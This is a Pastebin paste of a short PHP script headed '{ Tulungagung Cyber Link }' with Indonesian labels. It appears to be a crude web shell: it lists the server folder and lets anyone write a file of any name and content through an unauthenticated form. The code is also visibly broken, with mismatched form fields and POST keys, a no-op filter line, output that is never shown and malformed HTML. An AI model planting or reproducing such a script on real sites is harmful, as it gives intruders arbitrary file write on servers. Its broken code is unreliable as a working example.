Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <title></title>
- <style>
- .ico { width: 5% }
- .menu { margin: 3px }
- </style>
- </head>
- <body>
- <h1 style="text-aligin: center">{ Tulungagung Cyber Link }</h1>
- <hr><hr>
- <center>
- <a href="?home" class="menu"> Scan Folder </a>
- <a href="?tambah_data" class="menu"> Tambah Data </a>
- </center>
- <hr><hr>
- </body>
- </html>
- <?php
- if (isset($_GET['home'])) {
- $folder = './';
- echo "Folder : $folder <hr>";
- $buka_folder = opendir($folder);
- $data = array();
- while ($baca_folder = readdir($buka_folder)) {
- substr($baca_folder, 0,1 != '.');
- $data[] = $baca_folder;
- }
- $table = '';
- $table .= '<table>';
- while (list($index, $file) = each($data)) {
- if (is_dir($file)) {
- $table .= "
- <tr>
- <td><img src='https://cdn.pixabay.com/photo/2013/07/12/15/34/folder-150112_960_720.png' class='ico'> $file</td>
- </tr>
- ";
- }else{
- //file
- $table .= "
- <tr>
- <td><img src='http://icons.iconarchive.com/icons/graphicloads/colorful-long-shadow/256/Files-icon.png' class='ico'> <a href='?open_file=".$file."'> ".$file." </a></td>
- </tr>
- <td>Size : ".filesize($file).".kb</td>
- ";
- }
- }
- $table .= '<table>';
- echo $table;
- }
- if (isset($_GET['open_file'])) {
- $file = $_GET['open_file'];
- echo "$file";
- }
- if (isset($_GET['tambah_data'])) {
- $output = "
- <form>
- <input type='text' name='namafile' placeholder='Nama File...'>
- <textarea name='isifile' placeholder='Isi File...'></textarea> <br>
- <input type='submit' name='buat' value='Buat !!!'>
- </form>
- ";
- }
- if (isset($_POST['Buat'])) {
- $nama_file = $_POST['nama_file']; $isifile = $_POST['namafile'];
- $handle = fopen($nama_file, 'w');
- fwrite($handle, $isifile);
- echo $nama_file . "Berhasil Dibuat !!!";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement